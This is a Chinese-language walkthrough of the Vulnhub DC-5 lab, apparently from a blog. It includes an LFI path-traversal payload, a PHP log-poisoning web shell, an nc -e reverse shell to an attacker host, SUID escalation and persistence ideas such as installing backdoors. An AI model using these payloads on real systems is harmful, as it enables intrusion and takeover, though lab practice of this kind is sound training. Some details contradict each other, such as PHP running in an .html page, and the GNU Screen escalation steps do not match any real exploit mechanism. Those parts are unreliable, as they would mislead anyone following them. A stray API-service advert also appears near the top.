1. 靶机渗透测试概述
DC-5是Vulnhub平台上一款经典的渗透测试靶机,专门设计用于训练安全从业人员的实战能力。这个靶机环境模拟了一个存在漏洞的Web服务器,通过精心设计的漏洞链,测试者可以从外部网络逐步获取系统最高权限(root)。我在实际渗透过程中发现,这个靶机最有趣的地方在于它从一个看似无害的"感谢页面"入手,最终却能实现完整的权限提升链条。
渗透测试(Penetration Testing)是指安全专业人员模拟黑客攻击手法,对目标系统进行授权测试的过程。与恶意攻击不同,渗透测试的目的是发现系统漏洞并帮助修复,属于"道德黑客"行为。根据OWASP测试指南,完整的渗透测试通常包括信息收集、漏洞扫描、漏洞利用、权限维持和痕迹清除五个阶段。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与信息收集
2.1 实验环境搭建
测试环境采用VirtualBox虚拟机平台:
- 攻击机:Kali Linux 2023.4(预装渗透测试工具集)
- 靶机:DC-5(从Vulnhub下载的OVA文件)
- 网络配置:两台主机设置为Host-Only模式,确保隔离测试环境
注意:实际测试前务必确认获得靶机所有者的授权,未经授权的渗透测试可能涉及法律风险。
2.2 基础信息收集
首先使用nmap进行主机发现和端口扫描:
bash复制nmap -sV -T4 -p- 192.168.56.102
扫描结果显示靶机开放了以下关键服务:
- 80/tcp:Apache httpd 2.4.38((Debian))
- 111/tcp:rpcbind
- 42399/tcp:status 1(RPC)
重点关注Web服务,访问靶机IP看到如下页面结构:
code复制/
├── index.html
├── about.html
├── contact.html
└── thank-you.html # 关键的"感谢页面"
3. 漏洞发现与初步利用
3.1 感谢页面漏洞分析
在contact.html提交表单后,会跳转到thank-you.html页面并显示如下URL:
code复制http://192.168.56.102/thank-you.html?name=test&email=test%40test.com&message=test
测试发现name参数存在文件包含漏洞特征:
- 尝试LFI攻击:
code复制http://192.168.56.102/thank-you.html?name=../../../../etc/passwd
成功读取到系统文件,确认存在本地文件包含(LFI)漏洞。
- 进一步测试PHP封装器:
code复制http://192.168.56.102/thank-you.html?name=php://filter/convert.base64-encode/resource=index
成功获取到index.php的base64编码源码,解码后发现关键代码:
php复制$file = $_GET['name'];
include($file . ".html");
3.2 漏洞利用升级
结合Apache日志注入实现RCE:
- 通过User-Agent注入PHP代码:
bash复制curl -A "<?php system(\$_GET['cmd']);?>" http://192.168.56.102/
- 通过LFI执行日志中的PHP代码:
code复制http://192.168.56.102/thank-you.html?name=../../../../var/log/apache2/access.log&cmd=id
成功返回uid=33(www-data),证明代码执行生效。
4. 权限提升完整过程
4.1 获取初始Shell
- 建立反向Shell连接:
bash复制# 攻击机监听
nc -lvnp 4444
# 靶机执行
http://192.168.56.102/thank-you.html?name=../../../../var/log/apache2/access.log&cmd=nc -e /bin/sh 192.168.56.101 4444
- 获取稳定Shell:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
4.2 横向移动分析
在目标系统中发现关键信息:
- /var/www/html目录下发现配置文件包含数据库凭证
- 数据库中发现管理员哈希,但破解未成功
- 在/opt目录发现自定义脚本screen.sh,属主root,具有SUID位
4.3 通过SUID提权
分析screen.sh脚本内容:
bash复制#!/bin/bash
echo "Starting screen service..."
/usr/bin/screen -D -m -L /dev/null
利用GNU Screen漏洞(CVE-2017-5618):
- 检查Screen版本:
bash复制screen --version
# 显示4.5.0(存在漏洞版本)
- 创建提权利用脚本:
bash复制cat > /tmp/rootme.sh << EOF
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x /tmp/rootme.sh
- 创建符号链接触发漏洞:
bash复制ln -s /tmp/rootme.sh /dev/null
./screen.sh
- 获取root shell:
bash复制bash -p
whoami # 显示root
5. 渗透测试关键要点
5.1 技术要点总结
-
LFI漏洞利用三要素:
- 文件包含点定位
- 路径遍历测试
- 日志注入技巧
-
SUID提权检测方法:
bash复制find / -perm -4000 -type f 2>/dev/null
- 权限维持技巧:
- 添加SSH密钥
- 创建cron计划任务
- 安装后门程序
5.2 防御建议
针对企业服务器的安全建议:
-
Web应用层:
- 禁用不必要的PHP封装器
- 对文件包含参数进行严格过滤
- 将Web日志存放在不可执行目录
-
系统层:
- 定期更新GNU Screen等工具
- 遵循最小权限原则设置SUID
- 使用AppArmor/SELinux限制服务权限
6. 常见问题排查
6.1 渗透测试中的典型问题
-
LFI无法读取日志文件?
- 检查Apache日志路径(不同发行版可能不同)
- 确认当前用户有读取权限
- 尝试/var/log/httpd/access_log等常见路径
-
反向Shell连接失败?
- 检查防火墙设置
- 确认nc版本支持-e参数(或改用其他payload)
- 尝试Python/PHP等其他语言的反弹Shell
-
SUID提权不成功?
- 确认目标程序确实存在漏洞
- 检查/tmp目录是否可执行
- 尝试其他提权路径(如内核漏洞)
6.2 靶机渗透学习建议
-
推荐进阶靶机:
- Vulnhub:DC系列、Kioptrix系列
- HackTheBox:活跃靶机平台
- TryHackMe:分模块学习路径
-
必备工具清单:
- 信息收集:nmap, nikto, dirb
- 漏洞利用:metasploit, searchsploit
- 密码破解:hashcat, john
- 后渗透:linpeas, pspy
在实际渗透测试工作中,我最大的体会是:每个看似微小的漏洞点都可能是整个攻击链的关键入口。就像这个案例中的感谢页面,开发人员往往容易忽视这类"非核心功能"的安全防护。建议安全团队在代码审计时,要特别注意所有用户输入点的处理,包括那些看起来无关紧要的查询参数和表单字段。
